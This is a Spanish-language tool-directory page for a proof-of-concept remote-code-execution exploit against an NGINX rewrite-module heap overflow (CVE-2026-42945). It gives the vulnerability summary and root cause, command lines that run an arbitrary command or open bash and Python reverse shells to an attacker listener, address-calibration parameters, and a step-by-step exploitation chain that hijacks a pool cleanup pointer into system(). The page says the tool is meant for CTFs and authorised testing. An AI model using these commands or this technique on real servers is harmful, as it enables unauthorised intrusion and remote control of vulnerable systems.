Skip to content
KitploitKITPLOIT
HerramientasBlog
Log in
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945-Reverse-Shell-POC — PoC de RCE en Python con listener de reverse shell para CVE-2026-42945 (NGINX Rift) | Kitploit
Herramientas/GitHubGitHub/sec-sys/cve-2026-42945-reverse-shell-poc
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoExplotación de Binarios
GitHubsec-sys/cve-2026-42945-reverse-shell-poc

CVE-2026-42945-Reverse-Shell-POC

PoC de RCE en Python con listener de reverse shell para CVE-2026-42945 (NGINX Rift)

Ver Repositorio
16hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42945 (NGINX Rift) PoC de RCE con Reverse Shell

Prueba de concepto de ejecución remota de código para CVE-2026-42945, un desbordamiento de búfer en el heap del módulo ngx_http_rewrite_module de NGINX. Este fork extiende el PoC público de activación con un listener de reverse shell integrado y parámetros de explotación configurables para entornos de CTF y laboratorios aislados.


Resumen de la vulnerabilidad

  • ID CVE: CVE-2026-42945
  • Alias: NGINX Rift
  • Componente afectado: ngx_http_rewrite_module
  • Versiones afectadas: NGINX Open Source 0.6.27 – 1.30.0; NGINX Plus R32 – R36
  • Versiones corregidas: NGINX Open Source 1.30.1 / 1.31.0; NGINX Plus R36 P4, R35 P2, R32 P6
  • Causa raíz: Desajuste del motor de script en dos pasadas. La pasada de cálculo de longitud se ejecuta en un sub-motor nuevo con is_args = 0, mientras que la pasada de copia se ejecuta en el motor principal con is_args = 1, invocando ngx_escape_uri(..., NGX_ESCAPE_ARGS). Los bytes escapables se expanden a 3 bytes cada uno, desbordando un búfer del heap de tamaño insuficiente con datos URI controlados por el atacante.
  • Requisitos para RCE: Configuración vulnerable de rewrite/set que use capturas PCRE sin nombre ($1, $2) junto con ? en la cadena de reemplazo; ASLR deshabilitado o direcciones base conocidas de heap/libc; capacidad de rociar el heap mediante cuerpos de peticiones POST.

Archivos

ArchivoDescripción
cve_2026_42945_rce_poc.pyExploit en Python con listener de reverse shell integrado y modos de ejecución de comandos.

Requisitos

  • Python 3.8+
  • Instancia de NGINX objetivo que coincida con la versión vulnerable y el perfil de configuración.
  • Acceso de red al puerto HTTP del objetivo.
  • Para reverse shell: el host del atacante debe ser accesible desde el objetivo en el puerto de listener elegido.

Uso

Ejecutar un solo comando

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

Abrir una reverse shell (bash por defecto)

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Payload de reverse shell en Python

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Calibrar direcciones para un objetivo específico

python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

Cómo funciona

  1. Heap Spray: Enviar múltiples peticiones POST con cuerpos que contengan una estructura falsa ngx_pool_cleanup_s: system@libc | puntero al comando | null. Estos cuerpos ocupan ubicaciones estables del heap.
  2. Activar el desbordamiento: Enviar una petición GET manipulada a un endpoint vulnerable de rewrite. El patrón de la URI es:
    /api/<349 x 'A'><969 x '+'><dirección de heap de 6 bytes>
    
    El desbordamiento corrompe el puntero cleanup de una ngx_pool_t adyacente.
  3. Ejecución de código: Cuando el pool se destruye, el puntero cleanup corrupto invoca system(comando), ejecutando el comando controlado por el atacante dentro del proceso worker de NGINX.
  4. Reverse Shell: Si se usa --shell, el comando es un payload de reverse shell y el listener integrado captura la conexión entrante.

Aviso de seguridad

Esta herramienta está pensada para:

  • Ejercicios de CTF y laboratorios.
  • Pruebas de penetración autorizadas con permiso por escrito.
  • Investigación de seguridad y actividades de endurecimiento defensivo.

No la uses en sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.


Licencia

Úsalo bajo tu propio riesgo. El autor no es responsable del uso no autorizado o ilegal.


Atribución

Investigación original de la vulnerabilidad y PoC por depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift). Este fork de reverse shell en Python fue creado para uso en laboratorios de red team / CTF.


Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
  • Avisos de seguridad de NGINX: https://nginx.org/en/security_advisories.html
  • Base de conocimiento de F5 / NGINX: https://my.f5.com/manage/s/article/K000161019
  • Repositorio de investigación original: https://github.com/depthfirstdisclosures/nginx-rift
Descargar herramienta